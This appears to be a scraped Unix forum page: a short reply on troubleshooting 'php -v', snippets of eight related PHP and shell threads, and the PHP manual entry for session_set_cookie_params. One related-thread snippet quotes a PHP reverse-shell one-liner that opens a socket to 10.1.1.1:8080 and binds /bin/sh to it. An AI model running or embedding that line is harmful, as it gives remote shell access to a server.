07-16-2004
What happens if you type "php -v" ?
Does it really freeze, or can you type and see carriage returns. If so, typing "control+c" will return the prompt.
What happens if you type "man php" ?
Or "which php" ?
8 More Discussions You Might Find Interesting
1. UNIX for Dummies Questions & Answers
hi there
i write one awk script file in shell programing
the code is related to dd/mm/yy to month, day year format
but i get an error
please can anybody help me out in this problem ??????
i give my code here including error
awk `
# date-month -- convert mm/dd/yy to month day,... (2 Replies)
Discussion started by: Herry
2 Replies
2. Shell Programming and Scripting
While running script I am getting an error like
Few lines in data are not being processed.
After googling it I came to know that adding such line would give some memory to it
ini_set("memory_limit","64M");
my input file size is 1 GB.
Is that memory limit is based on RAM we have on... (1 Reply)
Discussion started by: elamurugu
1 Replies
3. Shell Programming and Scripting
Hi,
This error is actually out of implementing the command posted here -
https://www.unix.com/shell-programming-scripting/155589-remove-blank-lines-merge-lines-shell.html
Here is the error i get -
awk: Input line xxxxx cannot be longer than 3,000 bytes.
The source line number is 1.... (1 Reply)
Discussion started by: dvah
1 Replies
4. Shell Programming and Scripting
Hi there,
For some reason my maintenance mode shell script is not working. Both shell scripts are chmod +x'd, and owned by apache, running from php using exec(), maintenance.html and htaccessmaintenance are both owned by apache.
My code is:
#/bin/bash
cp maintenance.html... (2 Replies)
Discussion started by: CharlesKirk
2 Replies
5. Shell Programming and Scripting
Hello,
I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:
php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
However when ever I embed this code into my HTTP accessible web site as follows, I get a connection... (1 Reply)
Discussion started by: landossa
1 Replies
6. Shell Programming and Scripting
so i have a bit of a unique situation.
i have an encrypted index.php file that that can't be run the normal way that a web browser would run it. if it is run the normal way, the php script will show only gibberish on the web browser, instead of the actual php code.
when run from the command... (8 Replies)
Discussion started by: SkySmart
8 Replies
7. What is on Your Mind?
Today, I noticed some errors in our SSL cert renewal log files, mostly related to domains where the IP address had changed. Concerned about this, rebuilt out SSL cert, which normally goes well without a hiccup.
However, for today, for some reason which I cannot explain, there was a PHP error... (0 Replies)
Discussion started by: Neo
0 Replies
8. Shell Programming and Scripting
.... Solved....
..
..
Hello,
I've read couples of similar threads to my question and I strongly believe that I am doing something wrong. What I'm trying to do is to process data with php. It reads data from shell script.
Everything goes well but at the end it does not print what it reads... (0 Replies)
Discussion started by: baris35
0 Replies
LEARN ABOUT PHP
session_set_cookie_params
SESSION_SET_COOKIE_PARAMS(3) 1 SESSION_SET_COOKIE_PARAMS(3)
session_set_cookie_params - Set the session cookie parameters
SYNOPSIS
void session_set_cookie_params (int $lifetime, [string $path], [string $domain], [bool $secure = false], [bool $httponly = false])
DESCRIPTION
Set cookie parameters defined in the php.ini file. The effect of this function only lasts for the duration of the script. Thus, you need
to call session_set_cookie_params(3) for every request and before session_start(3) is called.
This function updates the runtime ini values of the corresponding PHP ini configuration keys which can be retrieved with the ini_get(3).
PARAMETERS
o $lifetime
-Lifetime of the session cookie, defined in seconds.
o $path
-Path on the domain where the cookie will work. Use a single slash ('/') for all paths on the domain.
o $domain
- Cookie domain, for example 'www.php.net'. To make cookies visible on all subdomains then the domain must be prefixed with a dot
like '.php.net'.
o $secure
- If TRUE cookie will only be sent over secure connections.
o $httponly
- If set to TRUE then PHP will attempt to send the httponly flag when setting the session cookie.
RETURN VALUES
No value is returned.
CHANGELOG
+--------+-------------------------------------+
|Version | |
| | |
| | Description |
| | |
+--------+-------------------------------------+
| 5.2.0 | |
| | |
| | The $httponly parameter was added. |
| | |
+--------+-------------------------------------+
SEE ALSO
session.cookie_lifetime, session.cookie_path, session.cookie_domain, session.cookie_secure, session.cookie_httponly, ses-
sion_get_cookie_params(3).
PHP Documentation Group SESSION_SET_COOKIE_PARAMS(3)